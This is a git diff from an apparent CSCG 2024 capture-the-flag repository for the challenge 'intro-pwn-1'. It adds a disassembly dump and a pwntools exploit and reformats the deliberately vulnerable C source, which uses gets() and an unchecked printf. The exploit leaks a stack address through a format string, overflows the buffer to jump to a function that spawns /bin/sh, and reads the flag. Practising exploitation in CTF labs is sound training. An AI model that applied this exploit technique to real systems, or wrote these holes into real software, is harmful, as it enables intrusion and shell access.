diff --git a/cscg24/pwn/intro-pwn-1/dump.txt b/cscg24/pwn/intro-pwn-1/dump.txt
new file mode 100644
index 0000000..9edc35d
--- /dev/null
+++ b/cscg24/pwn/intro-pwn-1/dump.txt
@@ -0,0 +1,345 @@
+
+pwn1:     file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+0000000000000768 <_init>:
+ 768:	48 83 ec 08          	sub    rsp,0x8
+ 76c:	48 8b 05 75 18 20 00 	mov    rax,QWORD PTR [rip+0x201875]        # 201fe8 <__gmon_start__>
+ 773:	48 85 c0             	test   rax,rax
+ 776:	74 02                	je     77a <_init+0x12>
+ 778:	ff d0                	call   rax
+ 77a:	48 83 c4 08          	add    rsp,0x8
+ 77e:	c3                   	ret    
+
+Disassembly of section .plt:
+
+0000000000000780 <.plt>:
+ 780:	ff 35 fa 17 20 00    	push   QWORD PTR [rip+0x2017fa]        # 201f80 <_GLOBAL_OFFSET_TABLE_+0x8>
+ 786:	ff 25 fc 17 20 00    	jmp    QWORD PTR [rip+0x2017fc]        # 201f88 <_GLOBAL_OFFSET_TABLE_+0x10>
+ 78c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000000790 <_exit@plt>:
+ 790:	ff 25 fa 17 20 00    	jmp    QWORD PTR [rip+0x2017fa]        # 201f90 <_exit@GLIBC_2.2.5>
+ 796:	68 00 00 00 00       	push   0x0
+ 79b:	e9 e0 ff ff ff       	jmp    780 <.plt>
+
+00000000000007a0 <puts@plt>:
+ 7a0:	ff 25 f2 17 20 00    	jmp    QWORD PTR [rip+0x2017f2]        # 201f98 <puts@GLIBC_2.2.5>
+ 7a6:	68 01 00 00 00       	push   0x1
+ 7ab:	e9 d0 ff ff ff       	jmp    780 <.plt>
+
+00000000000007b0 <system@plt>:
+ 7b0:	ff 25 ea 17 20 00    	jmp    QWORD PTR [rip+0x2017ea]        # 201fa0 <system@GLIBC_2.2.5>
+ 7b6:	68 02 00 00 00       	push   0x2
+ 7bb:	e9 c0 ff ff ff       	jmp    780 <.plt>
+
+00000000000007c0 <printf@plt>:
+ 7c0:	ff 25 e2 17 20 00    	jmp    QWORD PTR [rip+0x2017e2]        # 201fa8 <printf@GLIBC_2.2.5>
+ 7c6:	68 03 00 00 00       	push   0x3
+ 7cb:	e9 b0 ff ff ff       	jmp    780 <.plt>
+
+00000000000007d0 <alarm@plt>:
+ 7d0:	ff 25 da 17 20 00    	jmp    QWORD PTR [rip+0x2017da]        # 201fb0 <alarm@GLIBC_2.2.5>
+ 7d6:	68 04 00 00 00       	push   0x4
+ 7db:	e9 a0 ff ff ff       	jmp    780 <.plt>
+
+00000000000007e0 <strcmp@plt>:
+ 7e0:	ff 25 d2 17 20 00    	jmp    QWORD PTR [rip+0x2017d2]        # 201fb8 <strcmp@GLIBC_2.2.5>
+ 7e6:	68 05 00 00 00       	push   0x5
+ 7eb:	e9 90 ff ff ff       	jmp    780 <.plt>
+
+00000000000007f0 <signal@plt>:
+ 7f0:	ff 25 ca 17 20 00    	jmp    QWORD PTR [rip+0x2017ca]        # 201fc0 <signal@GLIBC_2.2.5>
+ 7f6:	68 06 00 00 00       	push   0x6
+ 7fb:	e9 80 ff ff ff       	jmp    780 <.plt>
+
+0000000000000800 <gets@plt>:
+ 800:	ff 25 c2 17 20 00    	jmp    QWORD PTR [rip+0x2017c2]        # 201fc8 <gets@GLIBC_2.2.5>
+ 806:	68 07 00 00 00       	push   0x7
+ 80b:	e9 70 ff ff ff       	jmp    780 <.plt>
+
+0000000000000810 <setvbuf@plt>:
+ 810:	ff 25 ba 17 20 00    	jmp    QWORD PTR [rip+0x2017ba]        # 201fd0 <setvbuf@GLIBC_2.2.5>
+ 816:	68 08 00 00 00       	push   0x8
+ 81b:	e9 60 ff ff ff       	jmp    780 <.plt>
+
+Disassembly of section .plt.got:
+
+0000000000000820 <__cxa_finalize@plt>:
+ 820:	ff 25 d2 17 20 00    	jmp    QWORD PTR [rip+0x2017d2]        # 201ff8 <__cxa_finalize@GLIBC_2.2.5>
+ 826:	66 90                	xchg   ax,ax
+
+Disassembly of section .text:
+
+0000000000000830 <_start>:
+ 830:	31 ed                	xor    ebp,ebp
+ 832:	49 89 d1             	mov    r9,rdx
+ 835:	5e                   	pop    rsi
+ 836:	48 89 e2             	mov    rdx,rsp
+ 839:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
+ 83d:	50                   	push   rax
+ 83e:	54                   	push   rsp
+ 83f:	4c 8d 05 5a 03 00 00 	lea    r8,[rip+0x35a]        # ba0 <__libc_csu_fini>
+ 846:	48 8d 0d e3 02 00 00 	lea    rcx,[rip+0x2e3]        # b30 <__libc_csu_init>
+ 84d:	48 8d 3d a0 02 00 00 	lea    rdi,[rip+0x2a0]        # af4 <main>
+ 854:	ff 15 86 17 20 00    	call   QWORD PTR [rip+0x201786]        # 201fe0 <__libc_start_main@GLIBC_2.2.5>
+ 85a:	f4                   	hlt    
+ 85b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
+
+0000000000000860 <deregister_tm_clones>:
+ 860:	48 8d 3d a9 17 20 00 	lea    rdi,[rip+0x2017a9]        # 202010 <__TMC_END__>
+ 867:	55                   	push   rbp
+ 868:	48 8d 05 a1 17 20 00 	lea    rax,[rip+0x2017a1]        # 202010 <__TMC_END__>
+ 86f:	48 39 f8             	cmp    rax,rdi
+ 872:	48 89 e5             	mov    rbp,rsp
+ 875:	74 19                	je     890 <deregister_tm_clones+0x30>
+ 877:	48 8b 05 5a 17 20 00 	mov    rax,QWORD PTR [rip+0x20175a]        # 201fd8 <_ITM_deregisterTMCloneTable>
+ 87e:	48 85 c0             	test   rax,rax
+ 881:	74 0d                	je     890 <deregister_tm_clones+0x30>
+ 883:	5d                   	pop    rbp
+ 884:	ff e0                	jmp    rax
+ 886:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+ 88d:	00 00 00 
+ 890:	5d                   	pop    rbp
+ 891:	c3                   	ret    
+ 892:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+ 896:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+ 89d:	00 00 00 
+
+00000000000008a0 <register_tm_clones>:
+ 8a0:	48 8d 3d 69 17 20 00 	lea    rdi,[rip+0x201769]        # 202010 <__TMC_END__>
+ 8a7:	48 8d 35 62 17 20 00 	lea    rsi,[rip+0x201762]        # 202010 <__TMC_END__>
+ 8ae:	55                   	push   rbp
+ 8af:	48 29 fe             	sub    rsi,rdi
+ 8b2:	48 89 e5             	mov    rbp,rsp
+ 8b5:	48 c1 fe 03          	sar    rsi,0x3
+ 8b9:	48 89 f0             	mov    rax,rsi
+ 8bc:	48 c1 e8 3f          	shr    rax,0x3f
+ 8c0:	48 01 c6             	add    rsi,rax
+ 8c3:	48 d1 fe             	sar    rsi,1
+ 8c6:	74 18                	je     8e0 <register_tm_clones+0x40>
+ 8c8:	48 8b 05 21 17 20 00 	mov    rax,QWORD PTR [rip+0x201721]        # 201ff0 <_ITM_registerTMCloneTable>
+ 8cf:	48 85 c0             	test   rax,rax
+ 8d2:	74 0c                	je     8e0 <register_tm_clones+0x40>
+ 8d4:	5d                   	pop    rbp
+ 8d5:	ff e0                	jmp    rax
+ 8d7:	66 0f 1f 84 00 00 00 	nop    WORD PTR [rax+rax*1+0x0]
+ 8de:	00 00 
+ 8e0:	5d                   	pop    rbp
+ 8e1:	c3                   	ret    
+ 8e2:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+ 8e6:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+ 8ed:	00 00 00 
+
+00000000000008f0 <__do_global_dtors_aux>:
+ 8f0:	80 3d 51 17 20 00 00 	cmp    BYTE PTR [rip+0x201751],0x0        # 202048 <completed.7698>
+ 8f7:	75 2f                	jne    928 <__do_global_dtors_aux+0x38>
+ 8f9:	48 83 3d f7 16 20 00 	cmp    QWORD PTR [rip+0x2016f7],0x0        # 201ff8 <__cxa_finalize@GLIBC_2.2.5>
+ 900:	00 
+ 901:	55                   	push   rbp
+ 902:	48 89 e5             	mov    rbp,rsp
+ 905:	74 0c                	je     913 <__do_global_dtors_aux+0x23>
+ 907:	48 8b 3d fa 16 20 00 	mov    rdi,QWORD PTR [rip+0x2016fa]        # 202008 <__dso_handle>
+ 90e:	e8 0d ff ff ff       	call   820 <__cxa_finalize@plt>
+ 913:	e8 48 ff ff ff       	call   860 <deregister_tm_clones>
+ 918:	c6 05 29 17 20 00 01 	mov    BYTE PTR [rip+0x201729],0x1        # 202048 <completed.7698>
+ 91f:	5d                   	pop    rbp
+ 920:	c3                   	ret    
+ 921:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
+ 928:	f3 c3                	repz ret 
+ 92a:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]
+
+0000000000000930 <frame_dummy>:
+ 930:	55                   	push   rbp
+ 931:	48 89 e5             	mov    rbp,rsp
+ 934:	5d                   	pop    rbp
+ 935:	e9 66 ff ff ff       	jmp    8a0 <register_tm_clones>
+
+000000000000093a <ignore_me_init_buffering>:
+ 93a:	55                   	push   rbp
+ 93b:	48 89 e5             	mov    rbp,rsp
+ 93e:	48 8b 05 db 16 20 00 	mov    rax,QWORD PTR [rip+0x2016db]        # 202020 <stdout@GLIBC_2.2.5>
+ 945:	b9 00 00 00 00       	mov    ecx,0x0
+ 94a:	ba 02 00 00 00       	mov    edx,0x2
+ 94f:	be 00 00 00 00       	mov    esi,0x0
+ 954:	48 89 c7             	mov    rdi,rax
+ 957:	e8 b4 fe ff ff       	call   810 <setvbuf@plt>
+ 95c:	48 8b 05 cd 16 20 00 	mov    rax,QWORD PTR [rip+0x2016cd]        # 202030 <stdin@GLIBC_2.2.5>
+ 963:	b9 00 00 00 00       	mov    ecx,0x0
+ 968:	ba 02 00 00 00       	mov    edx,0x2
+ 96d:	be 00 00 00 00       	mov    esi,0x0
+ 972:	48 89 c7             	mov    rdi,rax
+ 975:	e8 96 fe ff ff       	call   810 <setvbuf@plt>
+ 97a:	48 8b 05 bf 16 20 00 	mov    rax,QWORD PTR [rip+0x2016bf]        # 202040 <stderr@GLIBC_2.2.5>
+ 981:	b9 00 00 00 00       	mov    ecx,0x0
+ 986:	ba 02 00 00 00       	mov    edx,0x2
+ 98b:	be 00 00 00 00       	mov    esi,0x0
+ 990:	48 89 c7             	mov    rdi,rax
+ 993:	e8 78 fe ff ff       	call   810 <setvbuf@plt>
+ 998:	90                   	nop
+ 999:	5d                   	pop    rbp
+ 99a:	c3                   	ret    
+
+000000000000099b <kill_on_timeout>:
+ 99b:	55                   	push   rbp
+ 99c:	48 89 e5             	mov    rbp,rsp
+ 99f:	48 83 ec 10          	sub    rsp,0x10
+ 9a3:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
+ 9a6:	83 7d fc 0e          	cmp    DWORD PTR [rbp-0x4],0xe
+ 9aa:	75 1b                	jne    9c7 <kill_on_timeout+0x2c>
+ 9ac:	48 8d 3d 05 02 00 00 	lea    rdi,[rip+0x205]        # bb8 <_IO_stdin_used+0x8>
+ 9b3:	b8 00 00 00 00       	mov    eax,0x0
+ 9b8:	e8 03 fe ff ff       	call   7c0 <printf@plt>
+ 9bd:	bf 00 00 00 00       	mov    edi,0x0
+ 9c2:	e8 c9 fd ff ff       	call   790 <_exit@plt>
+ 9c7:	90                   	nop
+ 9c8:	c9                   	leave  
+ 9c9:	c3                   	ret    
+
+00000000000009ca <ignore_me_init_signal>:
+ 9ca:	55                   	push   rbp
+ 9cb:	48 89 e5             	mov    rbp,rsp
+ 9ce:	48 8d 35 c6 ff ff ff 	lea    rsi,[rip+0xffffffffffffffc6]        # 99b <kill_on_timeout>
+ 9d5:	bf 0e 00 00 00       	mov    edi,0xe
+ 9da:	e8 11 fe ff ff       	call   7f0 <signal@plt>
+ 9df:	bf 3c 00 00 00       	mov    edi,0x3c
+ 9e4:	e8 e7 fd ff ff       	call   7d0 <alarm@plt>
+ 9e9:	90                   	nop
+ 9ea:	5d                   	pop    rbp
+ 9eb:	c3                   	ret    
+
+00000000000009ec <WINgardium_leviosa>:
+ 9ec:	55                   	push   rbp
+ 9ed:	48 89 e5             	mov    rbp,rsp
+ 9f0:	48 8d 3d f1 01 00 00 	lea    rdi,[rip+0x1f1]        # be8 <_IO_stdin_used+0x38>
+ 9f7:	e8 a4 fd ff ff       	call   7a0 <puts@plt>
+ 9fc:	48 8d 3d 31 02 00 00 	lea    rdi,[rip+0x231]        # c34 <_IO_stdin_used+0x84>
+ a03:	e8 98 fd ff ff       	call   7a0 <puts@plt>
+ a08:	48 8d 3d 49 02 00 00 	lea    rdi,[rip+0x249]        # c58 <_IO_stdin_used+0xa8>
+ a0f:	e8 8c fd ff ff       	call   7a0 <puts@plt>
+ a14:	48 8d 3d 89 02 00 00 	lea    rdi,[rip+0x289]        # ca4 <_IO_stdin_used+0xf4>
+ a1b:	e8 90 fd ff ff       	call   7b0 <system@plt>
+ a20:	90                   	nop
+ a21:	5d                   	pop    rbp
+ a22:	c3                   	ret    
+
+0000000000000a23 <welcome>:
+ a23:	55                   	push   rbp
+ a24:	48 89 e5             	mov    rbp,rsp
+ a27:	48 81 ec 00 01 00 00 	sub    rsp,0x100
+ a2e:	48 8d 3d 77 02 00 00 	lea    rdi,[rip+0x277]        # cac <_IO_stdin_used+0xfc>
+ a35:	e8 66 fd ff ff       	call   7a0 <puts@plt>
+ a3a:	48 8d 85 00 ff ff ff 	lea    rax,[rbp-0x100]
+ a41:	48 89 c7             	mov    rdi,rax
+ a44:	b8 00 00 00 00       	mov    eax,0x0
+ a49:	e8 b2 fd ff ff       	call   800 <gets@plt>
+ a4e:	48 8d 3d 93 01 00 00 	lea    rdi,[rip+0x193]        # be8 <_IO_stdin_used+0x38>
+ a55:	e8 46 fd ff ff       	call   7a0 <puts@plt>
+ a5a:	48 8d 3d 62 02 00 00 	lea    rdi,[rip+0x262]        # cc3 <_IO_stdin_used+0x113>
+ a61:	e8 3a fd ff ff       	call   7a0 <puts@plt>
+ a66:	48 8d 3d eb 01 00 00 	lea    rdi,[rip+0x1eb]        # c58 <_IO_stdin_used+0xa8>
+ a6d:	e8 2e fd ff ff       	call   7a0 <puts@plt>
+ a72:	48 8d 85 00 ff ff ff 	lea    rax,[rbp-0x100]
+ a79:	48 89 c7             	mov    rdi,rax
+ a7c:	b8 00 00 00 00       	mov    eax,0x0
+ a81:	e8 3a fd ff ff       	call   7c0 <printf@plt>
+ a86:	90                   	nop
+ a87:	c9                   	leave  
+ a88:	c3                   	ret    
+
+0000000000000a89 <AAAAAAAA>:
+ a89:	55                   	push   rbp
+ a8a:	48 89 e5             	mov    rbp,rsp
+ a8d:	48 81 ec 00 01 00 00 	sub    rsp,0x100
+ a94:	48 8d 3d 46 02 00 00 	lea    rdi,[rip+0x246]        # ce1 <_IO_stdin_used+0x131>
+ a9b:	e8 00 fd ff ff       	call   7a0 <puts@plt>
+ aa0:	48 8d 85 00 ff ff ff 	lea    rax,[rbp-0x100]
+ aa7:	48 89 c7             	mov    rdi,rax
+ aaa:	b8 00 00 00 00       	mov    eax,0x0
+ aaf:	e8 4c fd ff ff       	call   800 <gets@plt>
+ ab4:	48 8d 85 00 ff ff ff 	lea    rax,[rbp-0x100]
+ abb:	48 8d 35 38 02 00 00 	lea    rsi,[rip+0x238]        # cfa <_IO_stdin_used+0x14a>
+ ac2:	48 89 c7             	mov    rdi,rax
+ ac5:	e8 16 fd ff ff       	call   7e0 <strcmp@plt>
+ aca:	85 c0                	test   eax,eax
+ acc:	75 0e                	jne    adc <AAAAAAAA+0x53>
+ ace:	48 8d 3d 32 02 00 00 	lea    rdi,[rip+0x232]        # d07 <_IO_stdin_used+0x157>
+ ad5:	e8 c6 fc ff ff       	call   7a0 <puts@plt>
+ ada:	eb 16                	jmp    af2 <AAAAAAAA+0x69>
+ adc:	48 8d 3d 2f 02 00 00 	lea    rdi,[rip+0x22f]        # d12 <_IO_stdin_used+0x162>
+ ae3:	e8 b8 fc ff ff       	call   7a0 <puts@plt>
+ ae8:	bf 00 00 00 00       	mov    edi,0x0
+ aed:	e8 9e fc ff ff       	call   790 <_exit@plt>
+ af2:	c9                   	leave  
+ af3:	c3                   	ret    
+
+0000000000000af4 <main>:
+ af4:	55                   	push   rbp
+ af5:	48 89 e5             	mov    rbp,rsp
+ af8:	48 83 ec 10          	sub    rsp,0x10
+ afc:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
+ aff:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
+ b03:	b8 00 00 00 00       	mov    eax,0x0
+ b08:	e8 2d fe ff ff       	call   93a <ignore_me_init_buffering>
+ b0d:	b8 00 00 00 00       	mov    eax,0x0
+ b12:	e8 b3 fe ff ff       	call   9ca <ignore_me_init_signal>
+ b17:	b8 00 00 00 00       	mov    eax,0x0
+ b1c:	e8 02 ff ff ff       	call   a23 <welcome>
+ b21:	b8 00 00 00 00       	mov    eax,0x0
+ b26:	e8 5e ff ff ff       	call   a89 <AAAAAAAA>
+ b2b:	90                   	nop
+ b2c:	c9                   	leave  
+ b2d:	c3                   	ret    
+ b2e:	66 90                	xchg   ax,ax
+
+0000000000000b30 <__libc_csu_init>:
+ b30:	41 57                	push   r15
+ b32:	41 56                	push   r14
+ b34:	49 89 d7             	mov    r15,rdx
+ b37:	41 55                	push   r13
+ b39:	41 54                	push   r12
+ b3b:	4c 8d 25 36 12 20 00 	lea    r12,[rip+0x201236]        # 201d78 <__frame_dummy_init_array_entry>
+ b42:	55                   	push   rbp
+ b43:	48 8d 2d 36 12 20 00 	lea    rbp,[rip+0x201236]        # 201d80 <__do_global_dtors_aux_fini_array_entry>
+ b4a:	53                   	push   rbx
+ b4b:	41 89 fd             	mov    r13d,edi
+ b4e:	49 89 f6             	mov    r14,rsi
+ b51:	4c 29 e5             	sub    rbp,r12
+ b54:	48 83 ec 08          	sub    rsp,0x8
+ b58:	48 c1 fd 03          	sar    rbp,0x3
+ b5c:	e8 07 fc ff ff       	call   768 <_init>
+ b61:	48 85 ed             	test   rbp,rbp
+ b64:	74 20                	je     b86 <__libc_csu_init+0x56>
+ b66:	31 db                	xor    ebx,ebx
+ b68:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
+ b6f:	00 
+ b70:	4c 89 fa             	mov    rdx,r15
+ b73:	4c 89 f6             	mov    rsi,r14
+ b76:	44 89 ef             	mov    edi,r13d
+ b79:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
+ b7d:	48 83 c3 01          	add    rbx,0x1
+ b81:	48 39 dd             	cmp    rbp,rbx
+ b84:	75 ea                	jne    b70 <__libc_csu_init+0x40>
+ b86:	48 83 c4 08          	add    rsp,0x8
+ b8a:	5b                   	pop    rbx
+ b8b:	5d                   	pop    rbp
+ b8c:	41 5c                	pop    r12
+ b8e:	41 5d                	pop    r13
+ b90:	41 5e                	pop    r14
+ b92:	41 5f                	pop    r15
+ b94:	c3                   	ret    
+ b95:	90                   	nop
+ b96:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+ b9d:	00 00 00 
+
+0000000000000ba0 <__libc_csu_fini>:
+ ba0:	f3 c3                	repz ret 
+
+Disassembly of section .fini:
+
+0000000000000ba4 <_fini>:
+ ba4:	48 83 ec 08          	sub    rsp,0x8
+ ba8:	48 83 c4 08          	add    rsp,0x8
+ bac:	c3                   	ret    
diff --git a/cscg24/pwn/intro-pwn-1/exploit.py b/cscg24/pwn/intro-pwn-1/exploit.py
new file mode 100644
index 0000000..9a6ff80
--- /dev/null
+++ b/cscg24/pwn/intro-pwn-1/exploit.py
@@ -0,0 +1,29 @@
+from pwn import *
+import re
+from sys import exit
+
+ret_sled = 0x9eb
+win_func_offset = 0x9ec
+
+#with remote("b037e7ec4c1207e6b54007fb-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True) as p:
+with remote("localhost", 1024, fam="ipv4") as p:
+    p.recvuntil(b":")
+    p.sendline(b"%37$p")
+    data = p.recvuntil(b":")
+    memory_address_pattern = r"0x[0-9a-fA-F]+"
+    memory_address = re.search(memory_address_pattern,data.decode('utf-8'))
+    if memory_address:
+        memory_address = int(memory_address.group(),16)
+    else:
+        log.error("Couldn't leak memory address")
+        exit(-1)
+    log.info(f"leaked address: {hex(memory_address)}")
+    win_address = (memory_address & 0xFFFFFFFFFFFFF000) | win_func_offset
+    log.info(f"win func addr: {hex(win_address)}")
+    payload = b"Expelliarmus" + b"\x00"
+    payload += b"A" * (0x108 - len(payload))
+    payload += p64((memory_address & 0xFFFFFFFFFFFFF000) | ret_sled)
+    payload += p64(win_address)
+    p.sendline(payload)
+    p.sendline(b"cat flag")
+    log.info(p.clean())
diff --git a/cscg24/pwn/intro-pwn-1/flag b/cscg24/pwn/intro-pwn-1/flag
old mode 100644
new mode 100755
diff --git a/cscg24/pwn/intro-pwn-1/pwn1.c b/cscg24/pwn/intro-pwn-1/pwn1.c
index cafa804..b16a71f 100644
--- a/cscg24/pwn/intro-pwn-1/pwn1.c
+++ b/cscg24/pwn/intro-pwn-1/pwn1.c
@@ -1,70 +1,68 @@
+#include <signal.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <unistd.h>
-#include <signal.h>
 #include <string.h>
+#include <unistd.h>
 
 // pwn1: gcc pwn1.c -o pwn1
 
 // --------------------------------------------------- SETUP
 
 void ignore_me_init_buffering() {
-	setvbuf(stdout, NULL, _IONBF, 0);
-	setvbuf(stdin, NULL, _IONBF, 0);
-	setvbuf(stderr, NULL, _IONBF, 0);
+  setvbuf(stdout, NULL, _IONBF, 0);
+  setvbuf(stdin, NULL, _IONBF, 0);
+  setvbuf(stderr, NULL, _IONBF, 0);
 }
 
 void kill_on_timeout(int sig) {
   if (sig == SIGALRM) {
-  	printf("[!] Anti DoS Signal. Patch me out for testing.");
+    printf("[!] Anti DoS Signal. Patch me out for testing.");
     _exit(0);
   }
 }
 
 void ignore_me_init_signal() {
-	signal(SIGALRM, kill_on_timeout);
-	alarm(60);
+  signal(SIGALRM, kill_on_timeout);
+  alarm(60);
 }
 
 // --------------------------------------------------- MENU
 
 void WINgardium_leviosa() {
-    printf("┌───────────────────────┐\n");
-    printf("│ You are a Slytherin.. │\n");
-    printf("└───────────────────────┘\n");
-    system("/bin/sh");
+  printf("┌───────────────────────┐\n");
+  printf("│ You are a Slytherin.. │\n");
+  printf("└───────────────────────┘\n");
+  system("/bin/sh");
 }
 
 void welcome() {
-    char read_buf[0xff];
-    printf("Enter your witch name:\n");
-    gets(read_buf);
-    printf("┌───────────────────────┐\n");
-    printf("│ You are a Hufflepuff! │\n");
-    printf("└───────────────────────┘\n");
-    printf(read_buf);
+  char read_buf[0xff];
+  printf("Enter your witch name:\n");
+  gets(read_buf);
+  printf("┌───────────────────────┐\n");
+  printf("│ You are a Hufflepuff! │\n");
+  printf("└───────────────────────┘\n");
+  printf(read_buf);
 }
 
 void AAAAAAAA() {
-    char read_buf[0xff];
-    
-    printf(" enter your magic spell:\n");
-    gets(read_buf);
-    if(strcmp(read_buf, "Expelliarmus") == 0) {
-        printf("~ Protego!\n");
-    } else {
-        printf("-10 Points for Hufflepuff!\n");
-        _exit(0);
-    }
+  char read_buf[0xff];
+
+  printf(" enter your magic spell:\n");
+  gets(read_buf);
+  if (strcmp(read_buf, "Expelliarmus") == 0) {
+    printf("~ Protego!\n");
+  } else {
+    printf("-10 Points for Hufflepuff!\n");
+    _exit(0);
+  }
 }
 // --------------------------------------------------- MAIN
 
-void main(int argc, char* argv[]) {
-	ignore_me_init_buffering();
-	ignore_me_init_signal();
+void main(int argc, char *argv[]) {
+  ignore_me_init_buffering();
+  ignore_me_init_signal();
 
-    welcome();
-    AAAAAAAA();
+  welcome();
+  AAAAAAAA();
 }
-
-